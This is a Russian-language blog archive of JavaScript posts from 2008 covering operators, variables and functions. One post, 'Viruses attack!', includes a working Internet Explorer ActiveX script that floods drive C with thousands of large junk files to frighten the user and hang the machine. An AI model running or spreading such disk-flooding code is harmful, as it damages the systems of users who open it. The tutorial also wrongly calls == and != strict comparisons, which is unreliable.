Архив рубрики ‘JavaScript’

Операторы и логические операции в JavaScript

Вторник, 26/02/2008

Логические операции:

&& логическое “и”
|| логическое “или”
! логическое “не”
== строго равно
!= строго не равно

(more…)

Основы JavaScript

Вторник, 26/02/2008

Переменные

var name1 = “Джон”; // записываем строку в переменную
var year1 = “1883″; // записываем строку
var year2 = 1883; // записываем число

мы записали в переменную name1 строку “Джон”, в переменную year2 строку “1883″, а в переменную year2 - число 1883.

(more…)

Как работают функции в JavaScript

Воскресенье, 24/02/2008

Простое объяснение: основная идея заключается в том, что функцию обычно сначала определяют:

<script>
function menuOn()
{
alert(”Привет!”); //действия, которые выполняет функция
}
</script>

а потом вызывают с помощью события, встроенного в HTML элемент:

<a href=”price.php” onMouseOver=”menuOn();”>

Функция выполняет вызов алерта

(more…)

Вирусы атакуют!

Воскресенье, 24/02/2008

Привожу выдержку из моего письма одной знакомой, в которой я объяснял как работает JavaScript, умеющий записывать файлы на жесткий диск компьютера. Этот скрипт работает только в ИЕ и только с включенной поддержкой ActiveX.

Если я запускаю HTML файл с этим скриптом с жесткого диска, он пишет 10 файлов в корень диска C:// с содержанием типа “best_virus_for_you”, а когда загружаешь его в интернет - скрипт перестает работать.

Я подумаю как сделать запуск по-проще. В свою очередь, если вместо цифр “10″ в скрипте написать цифры с большим количеством нулей - то комп подвиснет, и пользователь будет удалять оооочень много файлов.

Если тебе интересно - то синим отмечено количество слов “Virus_” внутри документа который он создает - это может быть любой формат, даже .txt или .inf.
А зеленым отмечено сколько файлов в конечном итоге будет создано.

100000 слов “Virus_” в текстовом документе порождает файл размером в 700 кб.

<script>
txt = “Hello!_A_am_VIRUS!!!_kill_me_if_you_can!___”;
for (i=1; i<100000; i++){
txt = txt + “Virus_”;

}
var fso = new ActiveXObject(”Scripting.FileSystemObject”);

for (i=1; i<5000; i++){
var file = fso.CreateTextFile(”C:\\virus” + i + “.txt”);

file.WriteLine(txt);
file.Close();
}
</script>

У меня завтра типа как-бы экзамен, или зачет по JavaScript поэтому щас нужно готовиться… все никак собраться не могу :)

Так вот, максимум вреда, который может причинить данный файл - это просто напугать пользователя и/или вынудить его удалять бесчисленное множество файлов. Подвисание компьютера возможно, но маловероятно. Подвисание браузера почти гарантировано.